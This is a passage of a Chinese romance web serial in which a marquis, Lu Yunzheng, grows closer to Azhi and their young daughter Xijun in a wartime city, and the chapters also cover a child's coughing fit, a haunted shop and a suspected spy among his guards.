阿致方才给她夹过好几块了,教训道:“希君,阿妈是不是说过,小孩不能吃太多蟹肉?”
希君扔下筷子,撅着嘴,双手抱胸前,背对着阿妈。
“不吃饭,损失的是你自己。”阿致冷着脸。
“只是螃蟹而已,没必要管得太严。”说着,陆昀峥一下给希君夹了三个。
希君美滋滋看着陆昀峥,硬是把他看顺眼了。
阿致瞪大眼睛,用筷子截胡他夹第四个:“你这是溺爱小孩。”
她教育小孩,第一要义是克制,不许放纵。更何况,螃蟹是寒凉食物,不能吃太多了。
“几个螃蟹而已,算不上溺爱。”陆昀峥转头对小丫头道,“想吃再和叔叔说。”
他嘴上这样说,不过手上筷子还是停了。
阿致听到“叔叔”两个字抬头,看了一眼陆昀峥,意味不明。
“谢谢叔叔。”希君往陆昀峥那边扭过去些,她忙着剥蟹壳,眉眼中都是飞起的笑意,小脚在凳子下划呀划,能治她阿妈的人终于出现了。
阿致轻轻嗤笑一声,继续吃自己的饭。
陆昀峥愣住,不知道她这笑是什么意思。
突然,希君撕着的螃蟹蹦出去,差点掉下去。陆昀峥及时出手,给她捞回来,将蟹肉撕下来喂给她。
希君再扭过来一些,一只小手捏着他的大手手腕,就着他的手指吃着,仰头对着她陆叔叔笑眯眯的。
陆昀峥嘴角翘起来,看她吃得辛苦,干脆大手一伸,将小丫头抱到怀里坐着,给她剥蟹壳。
希君吃到小肚子都鼓起来后,她吃不下了,便开始剥蟹,把蟹肉一条条地撕下来,举起手来喂给陆昀峥。
陆昀峥说不要,希君就开始胡闹了,双腿上下甩。
陆昀峥只得低头,凑到她的油手跟前吃掉。
就这样,一口又一口,陆昀峥被希君喂得腻了:“我吃饱了。”
希君摇头,不停给剥蟹,继续塞他嘴里:“你吃——你吃嘛!”。
小丫头发现了新的乐趣,她窝在陆昀峥怀里,满手油捏他的袖子,他仍旧好脾气地去吃她手上的蟹肉。希君咯咯笑。
阿致很清楚自己的女儿,很少有这么任性胡闹的。
父女俩这样亲近的画面,才是重逢之前她所热切期盼的啊。
阿致歪头,问希君:“今天开心吗?”
希君用力点头,大叫:“开心开心开心!”
“那陆叔叔每天来陪你吃晚饭,怎么样?”阿致朝希君眨眨眼。
陆昀峥脸上的笑容渐渐消失,她的目的很明显。
希君福至心灵,立刻仰头,对陆昀峥撒娇:“陆叔叔,你以后都要和我一起吃晚饭,好不好?”
陆昀峥一时不知道说什么好,他看了看小丫头期盼的眼神,转而去看一脸淡定的始作俑者。
阿致放下碗筷:“放心,不是让你就范,只是让你陪着吃晚饭而已。”
希君扭身朝向陆昀峥,可怜巴巴皱着眉头。
看着她,陆昀峥总算是知道心软到化了是什么感觉,点点头。
希君咧嘴笑,继续给他嘴里塞蟹肉。
阿致暗自觉得好笑。
骤然,希君咳嗽起来。阿致急忙过去,伸手去陆昀峥怀里捞过希君,伸手轻轻抚她的后背。咳嗽完全止不住。
不一会,希君小脸涨得通红,嘴唇边缘有些发青。
29. 好强势的姨娘
29
希君的嘴唇发紫,呼吸不过来。
“是不是噎着了?”阿致皱眉观察女儿。
“她方才没有吃东西。”
希君咳嗽连连,微微摇头。
阿致没办法,只能伸手,轻轻抚摸她的后背:“怎的咳嗽这么厉害?”
不一会,希君咳嗽的好些了,只是小脸仍旧涨得通红,嘴唇边缘带着些紫色。
陆昀峥伸手,擦着希君嘴唇边上的油腻,皱眉看着那一抹淡淡的紫色:“我去请大夫。”
阿致放心些了:“她应是螃蟹吃多了,此时夜里,怕是请不到大夫。”
她是想要请大夫的,但是保宁城里人心惶惶,十个铺面有七个关着,剩下的都只敢大白日营业,一到傍晚,早早就关门歇业。夜里,保宁城里甚至找不到一个活人在街上。
“你先安置她睡下,等我。”说完,陆昀峥转身出去,他叫住端着果盘的邬春荣,“准备马车,快。”
邬春荣一看这十万火急的架势,预感有大事,不敢多嘴,立刻将果盘扔在马厩一旁,打开后门围挡。
这么一会,侯爷已经利落地系好了马车。
马车出门,哒哒哒,划破黑夜寂寥的街道,掀起一阵尘土。
邬春荣不敢逗留,立刻去到前院,看到小丫头那微红的眉毛,听小娘子说她咳嗽了一阵,便明白自家侯爷为什么这么紧张了。
邬春荣将果盘重新端过来,让小娘子用一点。
阿致坐在床边,握着希君的小手,一错不错地看着她。
希君半睡半醒,她皱眉嚷嚷:“阿妈,你捏疼我了。”
阿致立刻松手,将她手放在被子里去。
不知等了多久,终于,陆昀峥真带着个老大夫过来。大夫胡子花白,看着有五十多岁了。
老大夫过来,先是检查小丫头的脸色、眼睛、嘴唇,再给她把脉。
把脉的时候,阿致屏住呼吸看着老大夫,观察他的表情。
而站在最外面的邬春荣则看着自家侯爷。侯爷浑身紧绷,双手背在身后握拳。
大夫收回自己的手,捏着胡子对陆昀峥道:“借一步说话。”
陆昀峥并着大夫,要一起出去。
阿致道:“老先生有什么话不妨直说。”
好强势的姨娘。
大夫抬着眼,看了看陆昀峥。
陆昀峥点头:“您就在这里说。”
大夫不禁转头,对阿致刮目相看,恭敬道:“小姐的脉象有些杂乱,但不是很明显。老朽不才,只能看出是寒凉之物吃多了引发的咳嗽不止,现下是没什么大碍。”
阿致长舒一口气。
陆昀峥脸色如常,对大夫道:“多谢,我送您回去。”
邬春荣冒出头来:“侯爷,我去送吧。”
陆昀峥摇头。
邬春荣立刻知道,他家侯爷还有话要和老大夫说。
“侯爷客气了——”老大夫本想要推辞,看陆昀峥眼神,似乎有话要说,于是跟着他去到院门口。
进到马车里,驶出一段路后,陆昀峥才问:“小丫头的嘴唇是紫色的,会不会是中了毒?”
“小姐的嘴唇颜色有异,老朽也怀疑是中毒或者是先天身体有问题,但她的脉象平稳,只是有些杂乱,应当是没问题的。嘴唇紫色,或许是咳嗽换气太急所致。”
·
夜深了,阿致洗漱完,掀开被褥,将希君搂在怀里。
希君方才睡了一会,嘴唇颜色恢复如常,精神很好,要爬起来看书。
阿致一把将她夹在腋下:“好生呆着。”
希君在阿妈腋下挣扎许久,动不了,便抓着阿妈唠嗑。
阿致被她聒噪的不行,于是拿手封住她的嘴:“希君,你喜欢爹爹吗?”
“你说的是陆叔叔?”希君脸颊贴到阿妈温暖柔软的胸前。
“嗯。”阿致想起刚才他的处理,挺满意的。她嘴角挂起温柔的笑。
希君小胳膊摊在阿妈肉肉的小腹上:“喜欢啊,可是,他让我叫他叔叔。”
窝在陆叔叔的怀里,可开心了。在密县的时候,她没什么玩伴,只有土豆哥哥和她玩,其他小孩子都笑她没爹。
阿致轻笑出来:“他让你叫叔叔你就叫,反正以后他会求着你改口。你不是喜欢前两日东街口的糖人吗?到时候让你爹爹给买。”
突然,外头一阵马车轱辘声,经过前门,又绕到后面去停住。是陆昀峥回来了。
·
邬春荣早候在后门口,听到马蹄声,将后门和围挡打开,将马车放进来。
陆昀峥从马车里出来,将马鞭交给他。
邬春荣默默接过来:“小娘子叫我告知您一声,希君小姐已经恢复,嘴唇也红润了。让您不要担心,早些休息。”
陆昀峥点头,他踏着楼梯,“硁硁”地,一步步登高,渐渐看到了前院的灯火,一个袅娜的人影从窗格上移过。灯火熄灭,前院陷入了沉沉的夜里。
陆昀峥洗了个热水澡,躺在床上,很快合上了眼。
再次睁眼时,鸡鸣声洪亮,可外头仍旧是一片黑色,风声特别大,将院子里的树吹得“沙沙”响,走道上有什么东西被风吹得乱摆,“哐哐”砸墙。
冷风从门缝里钻进来。仔细辨听,还有细雨落下的声音。
入冬了。
陆昀峥抹去额头的热汗,继续躺在床上,将被子掀到一边。
刚闭上眼睛,方才梦里的情景再次真实起来。
梦里的他,站在寥落的院子里,那院子是长安城陆府的方院。庭院深深,地上长满了暗绿色的青苔,角落里摆着不少陶瓷罐子,罐子里种着不知名的花,寥寥落落开了几朵艳红色,还有一颗参天的大树,比陆昀峥的年纪还大。
陆昀峥望着天,是阴暗的傍晚。他抬脚往房间走去,伸手推开雕花的门框,里头站着一个女人,她穿着白色中衣,头发顺在肩膀一侧,站在桌前点蜡烛。火苗温润的黄色迸发出来,填满了简陋的房间,一桌一凳一张床,另有一面乱糟糟的书架。
不知为何,陆昀峥很确信,她就是阿致。
他伸手去抓她的肩膀。
抓住的瞬间,她的中衣渐渐湿透,显出了中衣下掩藏的颜色,以及里头小兜的纹理。
陆昀峥想要收回手,但是他却没有动。
阿致回头,纤瘦的手指捏住他的手指头:“又顽皮了不是?”
陆昀峥很想要看清她的脸,但总蒙着一层雾,只能感觉到她嘴角是上翘的。
阿致转身过来,将
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他的手搁在自己腰上,凑上来吻他的唇。
陆昀峥搂着她,用力咬着她的唇瓣,两人抱在一起,难舍难分,恨不得每一寸都贴得严丝合缝。
陆昀峥手中触感柔软,待他反应过来时,才发现手掌按在阿致光洁的胸口那一团,那小兜被他扯变了形。
“我这身衣服好看吗?”阿致仰头,笑着问。
陆昀峥目光上移,骤然看清了脸,是小娘子的模样,她笑意盈盈地看着他。和今日傍晚时那眼神一样,水光莹莹。
陆昀峥心下一惊,将她推开,这才发现,她身上是今日新换的葱绿色的烟水百花裙……
就是这一刻,陆昀峥醒过来。这比噩梦还可怕。
梦境很真实,就像是曾经发生过的事,他紧抱着阿致时,两人用力亲吻彼此,触感清晰,就像发生在昨日。唯一不真实的,便是小娘子那张突兀的脸。
也不知这究竟是记忆,还是他内心压抑的渴望。
陆昀峥浑身燥热,他睁开眼睛,从黑暗中起身,打开大门,冷风灌进来,扎进他身上的每一寸皮肤。
他走到门外,走廊上的木板湿润,挂在廊檐下的一根木板来回摇摆,“哐哐”不停。他抬头看天,淡淡的蓝色天空露出一丝鱼肚白。
风将他的头发卷起,拍在脸上。陆昀峥走到细雨之中,双手撑在栏杆上。
他身上的中衣很快湿润,冷风冷雨沁入,面皮微微发麻,有微热感。渐渐的,风小了些,那廊檐下的木板也停止了摆动,一切回归静悄悄。
“侯爷,你怎的在这里?”邬春荣就住在二楼,听到外头声响,他缩着脖子,轻揉睡眼上楼查看,就看到自家侯爷跟疯了一样,站在风雨之中……
陆昀峥早听到他的脚步声,淡然地点头:“你去准备早饭。”
“这么早啊。”邬春荣收拾好那挂着的木板,看着还没大亮的天,轻声嘀咕着下楼去。
·
阿致早早就起床,被希君肚子饿闹的。
打开门,外头风大,还有雨。阿致不好去麻烦邬春荣,便打算自己去到后厨准备点吃的。
一出门,绕过拐角,阿致不经意抬头,看到了三楼的高大人影,他只着单薄的中衣站在廊檐外,淋雨。
远远的,她看不清他的脸,只依稀辨认出他冷肃的脸色。
他到底在干什么?
或许是为军营里的事心烦吧。
阿致不做他想,去到后厨里,撸起袖子,淘米煮粥。
邬春荣套上一件袄子,哈欠连连地进到后厨,赶忙劝阻:“小娘子,使不得使不得。”
怎么能让未来的侯夫人动手呢?
“没事,我给希君做点粥。”
邬春荣从她手里夺过那淘米的盆子:“您歇着,我来准备,正好侯爷也要吃早饭。”
阿致点头:“正好,那就一起吃。”
邬春荣可开心了,他兴致勃勃地准备了一锅粥,还煮了几碗面。
一切准备停当,他兴冲冲地跑到隔壁荒废的小院子里,侯爷正在这里练剑。
听到邬春荣的脚步,陆昀峥手中的剑也不停。
“爷,小娘子说要一起吃,那还是去小娘子那院子里用饭?”
陆昀峥手中的剑停下,收入一旁的剑鞘。
30. 躲避
30
“我不饿,现在去军营。”陆昀峥低头,从小院子的拱门出去。
“不饿?”邬春荣惊呆,双手揣袖子里,小声蛐蛐,“不是你说要准备早饭的么?”
“你在说什么?”陆昀峥回头看他,面色冷冷的。
邬春荣立刻缩脖子:“我说给侯爷您准备出门。”
阿致从后厨出来,她用托盘端了三碗面,走了没几步,正看到陆昀峥一脸不高兴地离开,脚步匆忙,手上捏着一把剑。
他明明撞见了她,却偏偏眼风扫都不扫她。
阿致看着他的背影,眼睛眯了眯,他在躲避她。可是为什么呢?明明昨晚上还挺好的,还答应往后都一起吃晚饭。
邬春荣跟着后面走。
阿致拉住他:“怎么回事?”
邬春荣还想讨个好,便说:“方才和侯爷说一起用个饭,侯爷他又说不饿,现在要去军营。”
看来是真的在回避她。阿致看着陆昀峥的背影,嘴唇绷成一条线,转身去自己院子。
·
“夫人不必担心,您女儿没有大碍。”这是第二个大夫了,“等会抓一点药,带回去服用三日,便可以去除寒症。”
这个东兴街的大夫,据说格外擅长小儿之症。
“那就好。”阿致终于放下心来,牵着希君在一旁等候大夫写单子。
希君嘴里含着一块饴糖,四处环顾。
突然,希君跑去医馆门口。
门口有个女子正在卖帕子。这女子年纪与阿致相仿,也是二十多的年纪,穿着单薄,最外面是葛衣,方脸大眼,没什么精气神,脸色苍白,鼻头发红,靠在墙边还弯腰喘气,仿佛十分吃力,她右手挎着个篮子,篮子里装着几个帕子。
阿致走过去,拉住希君,打眼看了那帕子,确实很精美。线头处理的干净利落,花样安排的整齐错落,简单却有种说不出的美感。
希君拉着阿妈要看。
阿致低头,瞪了她一眼:“你又不需要,别添乱。”
希君的方子配好了,药童正在配药。阿致把她拉到里头的配药区去。
“哎哟,是陆夫人?”一道夸张的声音传来。
阿致不用听就知道,这是她昨日见过的房牙妙珍姐。果然,一回头,就见一个胖胖的四十岁女人,顶着一脸浓艳的妆容凑过来,手中不停挥舞着一块帕子:“陆夫人生病了?”
之前妙珍姐说过,她年轻时也挺好看的,就是生病了,才突然发胖至此。
阿致摇头:“小丫头贪吃,抓点药。”
“上次那两个铺面,陆夫人你考虑得怎么样了?”
“还在考虑。”
“正好又有个铺面空出来,老板诚心想卖,陆夫人你要是有空,等会我们过去看看。”
阿致点头:“好。”
妙珍姐靠过来,拉着阿致闲扯。
阿致带着女儿,不是很想搭话,但妙珍姐却是个话唠。说着说着就说到门口那女人:“美娘要是身体好点,那命可就真是太好咯。”
原来门口那女人叫美娘。阿致抬头,远远望着那女子,确实病殃殃的。
妙珍姐感叹道:“她来保宁不久,便得了怪病,浑身无力,只能躺着休息。她丈夫不离不弃,非要与她成婚,倾家荡产都要治。她丈夫心疼她,连家务活都不让她动手,从来没断了老婆的药,自己却累得要死要活,每日到外面找几份工。”
这语气里,多少羡慕啊。
阿致转头看着妙珍姐挂泪,不可置信。
“见笑了。每次见到美娘,我便想起自家那个混账。”妙珍姐拿帕子轻轻擦眼角的泪,她有些不好意思,便拿着帕子转移话题,“你看,这帕子便是美娘做的,做工用心,也好看是不是?”
阿致看了一眼,轻轻“嗯”一声。好看,但也没有到非买不可的地步。
妙珍姐叹气:“美娘也是无奈啊,心疼自家男人,做一点帕子来抵家用。”
阿致拿了希君的药包,在一旁等妙珍姐。
这时,门外走过来一个高个精壮的男人。大冷的天,他身着一件单薄的葛衣,浑身上下灰尘扑扑,露出大半的胳膊上满是热汗。他瘦长的脸上满是疲惫。
他看到美娘后,眉头舒展开来,快步扶着美娘,接过她臂弯里的篮子:“你出门多累啊。”
美娘早累得气喘,她往后靠在丈夫怀里,小声道:“不怎么累。”
妙珍姐也拿了药包,她笑眯眯凑到阿致耳边道:“这男人就是美娘的丈夫,江善守。”
阿致仔细看江善守,他嘴上满是责备,脸上却满是担忧,劝告美娘跟他赶紧回去。
阿致拉着女儿希君,走到医馆门口,问美娘买两条帕子。阿致想起同样长病不起的母亲。
希君自己挑的花样,格外欢喜。
·
“你看这铺面,还不错吧。”妙珍姐笑盈盈,“虽然不靠近集市,但这人来人往的也不少。再则,你看这铺面,整齐干净,到哪里都难找到。”
阿致跟着妙珍姐来看铺面,这前头的厅堂确实不错,比较宽敞,前头可以置放两个桌子,刮风下雨也不用担心。更重要的是,这铺面离陆昀峥现在住的院子挺近,步行一刻钟不到。
阿致左左右右仔细查看,越看越满意。
“这后面原本是个院子,老板自己搭了个小房间,你要住还是放杂物,都很方便。”
这样说的话,和她密县的面馆差不多了。阿致直接问价。
妙珍姐伸出手指头,给了个价。
阿致听了,没有说什么,面上不显:“先去看后院。”
若是没什么大问题,稍微压下价,就可以定下来了。
妙珍姐领着阿致往后面走。
阿致捏着希君的手,跟在妙珍姐身后。后门打开的一瞬间,阿致的眉头皱起来。
一股霉味混合着奇怪的香料味道,铺面而来。
而且整个后院逼仄,其中搭建的房间占了大半的空间。老板还在院子四周围了很高的木板,几乎是两人高。阿致抬头,整个后院就像是浸润在灰色的傍晚。
还没踏进去,她背后的汗毛就竖起来了,赶紧手上用力,将希君往厅堂里推。
阿致捂着鼻子,退后一步。
妙珍姐站在小房间的门口,招呼她:“哎呀,这以前的老板娘是卖香料的,你不爱闻,放些日子就好了。你进去看看,这房间也打扫干净的嘞。”
阿致方才大致扫了一眼,里面空荡荡的,连一张床也没有。没什么好看的。
阿致摆手:“不用了。”
她赶紧退回到厅堂最前面。前面有刺眼的太阳光,她站在太阳光下,浑身的冷意终于被蒸干,紧捏着希君的手。
“陆夫人不喜欢?”妙珍姐摆弄着手里的帕子,“你之前看好医馆旁的那个铺面,不少人想要,现在价格还涨了些。你听我说,现在这个铺面位置也好、宽敞、便宜,哪里找得到更划算的呢?想要得赶紧下手啊。”
“我再考虑考虑。”阿致捏着希君的手,赶紧回家。
妙珍姐站在铺面门口的马路上,没好气地问:“你这还有什么好考虑的,给你价格便宜一点,怎么样?”
·
傍晚时,邬春荣准备了晚饭,快熟了,他先将两副碗筷并小菜端过去前院。
阿致正将两个刚洗的帕子晾起来,看着他:“再等会吃。”
“小娘子现在不饿?”
“等会你家爷回来了一起吃。”
“侯爷还不知道什么时候回来呢,不如您先吃吧。”邬春荣可太了解他家爷了,从来不知道什么时候能回,毕竟现在备战中,军营里的事很多。
更何况,以侯爷的性子,能和小娘
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子吃一顿晚饭,那已是极限。
阿致没理他:“你再去准备一副碗筷。”
邬春荣不理解,但他也不好反驳,“哦”一声出去了。在后厨里,将饭菜都温在锅里,再拿了一副碗筷去前院。
刚到前院,就听见有拍门声。
希君正在院子里看书,她从石凳上跳下来,人小鬼大要去开门,够不着门栓。
“小姐,我来。”邬春荣立刻去开门。
来人是一个小兵,十八岁年纪:“侯爷说了,半个时辰后回来吃饭。”
邬春荣听了,目瞪口呆:“侯爷真这么说?”
他家侯爷竟然派人回来通知吃饭时间,这可是头一回。稀罕。
“当然。”小兵说完,立刻跑回去军营。
邬春荣不禁侧头,看着从前院出来的小娘子。这才第三天啊,侯爷就这么贴着她了。
如果想要跟着侯爷过一辈子的好日子……
他两步走到阿致面前,提起一颗心来:“小娘子,您若是有任何需要,可以直接和小的说。”
阿致想了想:“屋里被子有点单薄。”
昨晚上刮大风,和希君睡着还是有些冷。
邬春荣一溜烟就跑了,又一溜烟回来,胳膊上抱着一叠厚厚的棉絮。
原来是去拿换的被子了,阿致伸手去接。
邬春荣一个扭身,呵呵笑:“小娘子,我来我来。”
邬春荣迅速地换好被子,擦擦满头的汗,讪笑着贴过来:“小的还有什么做得不好的,您都可以直说,小的现在就改。哦,现在的饭菜合您的口味吗?”
阿致不懂他这莫名的殷勤是哪里来的。她道:“没有了,你安排得挺细心的。”
邬春荣的心终于放下来,心里美滋滋的。
·
陆昀峥提前回来,进到院子,便看到小丫头正在石桌边上看书。
他脸色冷肃,看到小丫头,眉目舒展,嘴角忍不住翘起来。
希君一看到他,便开口闭口喊他叔叔,伸手要他抱抱:“陆叔叔,我等你好久了。”
陆昀峥顺手将她捞在怀里,顺便拿起石桌上的那本书,书页都翻烂了:“希君很爱看书。”
希君笑嘻嘻:“当然了。”
“那我考考你。”陆昀峥翻开书。
他随便挑了一句考她什么意思。
希君兴高采烈地卖弄。
完了,陆昀峥伸手摸她的小脑袋瓜:“看来有认真学。”
“我阿妈说,学会了就有糖人吃。”希君说完,仰头看着陆昀峥。
陆昀峥看她眨巴的圆眼睛,瞬间明白了她的小心机,爽快答应了:“你只要学会一句,我再便奖你一个糖人。”
“我不要糖人,你直接给我十文钱,如何?”希君撅嘴笑着看他。
陆昀峥看她这撒娇的模样,便依她了。
阿致来叫他们去吃饭,正好看到父女俩嘴角扬起的笑容,一派和乐。
陆昀峥抬眼看到她,嘴角的笑容立刻消失。
阿致越发确认,陆昀峥莫名地讨厌她,只是碍于承诺,才会一起吃晚饭。这一顿饭,估计他会速战速决。
果然,三人坐下后,陆昀峥便大口吃饭吃菜,腮帮子鼓起来,恨不得放下碗立刻就走。
他是一点不想靠近她。
阿致担心他噎着,便给他盛了一碗汤,递到他手边。
陆昀峥正准备抬手夹菜,两人的手指在空中一碰,打翻她递过来的汤碗。
热汤一下子淋在他大腿上,还有些溅在他的胸口。
阿致立刻去拿帕子给他腿上擦擦:“现在去换衣裳,用冷水冲冲——”
陆昀峥站起身来,伸手挡住她的手。
阿致不明所以,捻起他腿上湿透的裤子:“不会烫伤了吧。”
陆昀峥伸手,捏住她的手指。
31. 避如蛇蝎
31
阿致的手指被捏得生疼,她皱眉抬头看他。
他也皱着眉头,撇开脸,避开她的双眼。
“你在干什么?”阿致问。
陆昀峥嘴唇抿成一条线,退后一步,终究将她的手甩到一边,转身便出去了,一个字都没有留下。
阿致手中的帕子就这么掉在地上。
“阿妈,陆叔叔不高兴了?”
阿致捡起帕子,陪着希君继续吃饭:“管他高不高兴。”
陆昀峥讨厌她,他的眼睛里满是戒备。
还有,他凭什么对她发脾气?简直莫名其妙。
·
邬春荣从后厨过来,便见到自家侯爷一身冷肃地“噔噔噔”上楼,怒气冲冲的模样。
难不成和小娘子吵架了?
扒着栏杆,邬春荣刚上到三楼,听到侯爷叫他。
“侯爷,有什么吩咐?”
陆昀峥坐在书桌前,一只手摁着额头:“打一桶冷水到净室。”
“这……”邬春荣揣在厚实袄子里的双手瞬间不抖了,“小的立刻去办。”
入冬了,还用冷水冲澡,实在令人费解。
邬春荣走了,陆昀峥长叹一口气,看着大片湿透的裤子,想起了方才她瘦白的手指,轻轻摁在腿上……
那一刻,他捏住她的手,有种摩挲她指腹的冲动。可是看到她的脸,他脑子里最后一丝理智在提醒,不要背叛阿致。
他羞愧,只能甩开她,用怒气来掩饰他真实的冲动。
·
第二天,阿致打算再找几个房牙,多看几个铺面。
为了避开陆昀峥,她特意起得早。她出院子时,天刚放亮。
好巧不巧,刚好碰上陆昀峥从楼上下来。他轻轻咳嗽两声,对她点头之后,便出门去。
阿致却看得清楚,陆昀峥是故意绕开了几步再走的。避她,如避蛇蝎。
昨晚上打翻汤碗的事,他不会以为是她故意为之吧?
·
阿致看过几个铺面,都不算特别满意。这些铺面不是离陆昀峥现在的院子太远,就是根本没什么人,还有的就是价格没法谈。
阿致跟着房牙,再次绕到了昨日那个铺面。阿致还记得昨日那阴森的感觉,不过这个房牙说,老板还愿意减少三成,如果买家诚心的话。
阿致确实有些动心了,毕竟再减少三成的话,那……
可是这种铺面,能轻易减少三成,必然有过什么大问题吧。
“这房子是不是出过什么事?”阿致直接问。
房牙是个三十岁的瘦高娘子,眼睛笑成弯弯的月亮,轻拍着阿致的肩膀:“陆夫人这就是想多了,我可从来没听说过这铺面有什么问题。老板娘便宜贱卖,只是因为想要快点离开保宁城。”
这理由听起来很合理,不过阿致还是拒绝了。
太阳当头,已是正午。阿致的肚子饿了,她打算先回去。绕过巷口,她看到了一个熟悉的背影。
阿致凑近去一看,果然是美娘。美娘连连咳嗽,仍旧是一副苍白无力的模样,蹲坐在一个巷子口摆摊卖菜,旁边坐着一个小丫头,七八岁的样子。
这里人流少,自然也是很难卖出去。
阿致蹲下来,捡了一茬菜,递过去几文铜钱。
美娘接过银子,歪着头看阿致:“小娘子,我们昨日见过,是不是?”
阿致微笑:“我女儿昨日买了你两块帕子。”
美娘十分开心,又给阿致加了一把菜:“我知道你们都是可怜我,想要帮我。”
一旁的小丫头则麻利地伸手,用几根枯草碾成的细绳将青菜捆起来,递给阿致。
“你的帕子确实好看。”阿致提着菜准备走人。
“小娘子……”
阿致回头。
美娘欲言又止,嘴唇嗫嚅着:“……小娘子走好。”
阿致心中疑惑,但她也不好继续再问。走出巷子口时,她一回头,正看到那小丫头伸手,对着美娘比划着手语。
原来这小丫头不能说话……
没一会,美娘追过来,弯着腰气喘吁吁的,满脸通红,她压低声音道:“小娘子,方才那拐角的铺面,你千万别买。”
“为什么?”阿致想起了昨日背后汗毛倒竖的凉意。
美娘左右看看,咬着嘴唇,低声道:“你别说是我告诉你的。之前那铺面是卖香料的,过年时不知道发生了什么,老板娘在房里上吊了,发现的时候已经臭了,到现在还是悬案。”
原来如此。阿致从袖子里拿出一块银子来:“谢谢你告知我。”
“这只是小事而已。”美娘格外不好意思,连连后退,推着不要。
“你给的正是我所需要的,那我就是要付钱的。”阿致真诚地看着她的眼睛。
美娘坚决不要:“只是小事而已,我看小娘子一开始也没有特别想要买这铺面。只是以防万一,与你说一声。”
阿致摊着那锭银子在美娘面前:“我不喜欢欠人人情,因为担心别人挟恩图报。”
话已至此,美娘只好收下:“这确实太多了,往后我给小娘子你补一些其他的。”
美娘离开后,阿致站在原地,看她急忙奔向自己的女儿,张开双手。母女俩不知道在说什么,脸上都是喜庆。
·
“侯爷,长安那边来信了。”罗三将一封信递给陆昀峥,信上标着“长弓”这两字,“张羽说,小娘子在离开长安前,住在咱们府里,与夫人……谷小姐见过。”
陆昀峥打开那封辗转多时的信。
罗三继续道:“张羽派贺忠去跟,贺忠明白听到谷小姐怒对小娘子,说她‘五年前答应陆老侯爷离开您,背地里却生下孩子,是为了今日’。”
陆昀峥将信封拍在桌上,食指在书案上不停敲着。如果,谷湘如真这么说过,那这小娘子便是阿致无疑。问题是……贺忠所说的话,可信吗?
陆昀峥闭眼,伸手按眉心:“贺忠跟的怎样了?”
“回侯爷,贺忠确实有异。昨日早上他便出发了,但却没有听命离开,一直在保宁附近的县城打转。他找了个客栈住下,晚上寻青楼喝酒,白天便在客栈睡觉。”罗三又道,“还有,属下去查贺忠之前所用的文牒,文牒是真的,但恰巧找到贺忠的同乡,同乡指认,文牒上的贺忠是个文弱书生,失踪五年了。”
文弱书生失踪,重新出现时竟然成了个武功高强的剑客,甚至混进了他陆昀峥的暗卫之中。
陆昀峥睁开眼,眼风锐利:“他既然要留在这里,必然是在等待着联系人。你加派人手盯着,一点不能放松。查清楚他要与什么人联系,目
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标是什么,一定不能打草惊蛇。”
罗三领命:“侯爷,您统帅三军。而现在又是两军即将交战的关键时刻,贺忠的目标会不会就是您?”
战争是残酷的,为了赢得战争,双方会不惜一切代价,使出一切手段,砍掉对方的胜算。一年之前,陆昀峥在大漠的威名打响,他注定是楼烦死盯着的目标。
陆昀峥摇头:“是我的话,他来到保宁的当晚就该下手。”
可是那一夜非常平静。那么为什么不下手呢?
“会不会他已经下手了,只是我们不知道?”罗三小心抬眼,看着侯爷的脸色。
陆昀峥的脸冷下来——和贺忠一道而来的小娘子,顺理成章地与他住在一处,确实很可疑。
“你派人跟着院子里的王致。”大战在即,他没有什么是可以信任的。
·
天快黑了,阿致让邬春荣把饭菜端过来。
邬春荣揣着手站在院门的风口上,往外张望,耳朵竖起来:“小娘子,说不定侯爷快回来了,您再等等。”
“不用等了,他今天不回来吃饭。”
“侯爷提前和您说了?”邬春荣满面愁容化成春风,跺跺脚驱寒。果然,昨晚上两人再怎么吵,还是亲密的。
“我猜的。”阿致将院子里晒着的衣裳收进去。
“啊?”邬春荣发出牛叫,脚也跺不动了。
突然,有人拍门。
邬春荣赶紧去开门,希君小短腿跑出去凑热闹,她背了三句诗词,今日可以兑换三十文钱!
门打开,还是昨天那个小兵,他说侯爷今晚上有事,不回来吃饭。
一听不回来,希君的小脸盘子都垮了,嘴巴撅老高,脸对着天,在院子里来回转圈。
邬春荣回头看着小娘子:“看来侯爷还是惦记着家里。”
阿致问:“你家侯爷在军营里很忙么?”
小兵结结巴巴的:“是……是的吧。侯爷……一整天都在书案前。”
阿致看他这样,心里有了答案:“没事,你给侯爷递个话,往后他晚上回不回来吃饭,端看他自己,不用派人回来知会,多麻烦。”
小兵浑身僵住,眼珠子转来转去,和邬春荣的对上,两人都抿紧嘴巴一个字不敢说,屁也不敢放。
·
“这就是夫人让我递的话。”那小兵站在陆昀峥的书案前,手贴着大腿,把自己缩成一根长棍。
灯火下,陆昀峥的脸色晦暗不明,他挥手:“走吧。”
小兵一脸恭敬地转身,背对着侯爷他满脸幸灾乐祸。
陆昀峥将此事抛在脑后,伏案处理公务许久,伸个懒腰,走到练武场附近时,听到两个站岗的小兵交头接耳。
“你看,就算是侯爷,后宅女人闹不开心,也敢叫板呢。”是那小兵的声音,“他回去了,也得软声哄几句。”
“你别瞎说,侯爷根本没女人。”
“我真看到了。”
“那也可能是你看错了,你别在侯爷面前说瞎话,小心头没了。”
那小兵伸着脖子争论:“怎么可能看错?院子里有个小丫头,小丫头的眉眼和侯爷简直一个模子刻出来的。”
脖子上寒毛立起来,他一转头,背后不远有个高大的身影,似乎还有重重怒气笼罩。
不好!
32. 紫衣少女
32
陆昀峥打马回来,鹿皮大氅上带着一身的夜露和寒气。
他侧头往左边的前院看了看,熄灯了。
邬春荣也看了看乌漆麻黑的前院,道:“侯爷,小娘子刚睡下了。”
陆昀峥点头,将马鞭交给邬春荣。邬春荣关上大门,把马匹牵去后院。
陆昀峥大步往后院走。
“吱呀——”是刺耳的开门声,来自前院。
陆昀峥刚抬头,脚步已经到了近前。来人提着一盏灯笼,灯笼里的幽幽灯火照在她裙摆上,她问:“你故意避开我?”
不问清楚,阿致实在睡不着。
陆昀峥点头,看着她单薄的衣裳:“是。”
“为什么?”
“是我的问题。”陆昀峥低头。
“你的什么问题?”阿致扬起头来看他。黑夜中,淡淡的火光照着他的脸。
陆昀峥没回答,将自己身上的大氅接下来,披在她身上:“小心着凉。”
黑色大氅有些重,压在她的肩头直往下滑。
他的指尖干燥而温热,划过她的脸侧。大氅包裹着,她立刻就暖和了许多。
阿致伸出另一只手来,按住颈口出的系带,望着他,他脸上是军中忙碌过后的疲惫。
她心中不忍,道:“你若不想与我同桌吃饭,大可直说,不必拐弯抹角的。”
陆昀峥低头看她的脸,在灯火中是柔和的:“今晚上临时有要事商量,只能派人回来说一声,你不要多想。”
这是他主动解释了。
